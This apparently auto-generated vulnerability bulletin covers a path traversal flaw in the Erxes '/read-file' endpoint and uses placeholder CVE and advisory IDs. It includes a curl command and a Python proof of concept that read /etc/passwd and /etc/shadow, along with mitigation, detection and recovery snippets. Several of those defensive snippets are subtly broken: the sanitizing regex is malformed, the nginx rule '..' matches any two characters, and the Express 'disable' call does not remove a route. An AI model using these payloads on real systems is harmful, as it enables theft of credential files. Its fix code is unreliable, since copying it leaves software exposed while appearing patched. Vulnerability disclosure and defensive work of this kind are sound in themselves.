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How the CVE Works
The CVE-2025-XXXXX vulnerability in Erxes (<1.6.2) allows unauthenticated attackers to exploit a path traversal flaw in the `/read-file` endpoint. By manipulating file path inputs (e.g., ../../../etc/passwd), an attacker can bypass security checks and read arbitrary system files. The endpoint fails to sanitize user-supplied paths, leading to unauthorized access to sensitive data. This vulnerability stems from improper input validation, allowing directory traversal sequences to escape the intended directory restrictions.
DailyCVE Form
Platform: Erxes
Version: <1.6.2
Vulnerability: Path Traversal
Severity: High
Date: Jun 10, 2025
Prediction: Patch by Jul 1, 2025
What Undercode Say:
Exploitation:
1. Curl Exploit:
curl -X GET "http://target.com/read-file?file=../../../etc/passwd"
2. Python PoC:
import requests
response = requests.get("http://target.com/read-file", params={"file": "../../../etc/shadow"})
print(response.text)
Mitigation:
1. Input Sanitization:
const path = require('path');
const safePath = path.normalize(userInput).replace(/^(..(\/|\|$))+/, '');
2. Patch Update:
npm update erxes --save
3. WAF Rule:
location /read-file {
if ($args ~ "..") { return 403; }
}
Detection:
1. Log Analysis:
grep -r "GET /read-file?file=..." /var/log/nginx/
2. IDS Signature:
alert http any any -> any any (msg:"Erxes Path Traversal Attempt"; http.uri; content:"/read-file?file="; pcre:"/..\//"; sid:1000001;)
Post-Exploit:
1. Check Exploited Files:
find / -name ".bak" -o -name "shadow" -o -name "passwd"
2. Restore Backups:
cp -r /backup/erxes /var/www/erxes
Permanent Fix:
1. Disable Endpoint:
app.disable('/read-file');
2. File Whitelisting:
const allowedFiles = ["public/file1.txt", "public/file2.txt"];
if (!allowedFiles.includes(userInput)) { return 403; }
References:
- NVD: CVE-2025-XXXXX
- GitHub Advisory: GHSA-xxxx-xxxx-xxxx
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
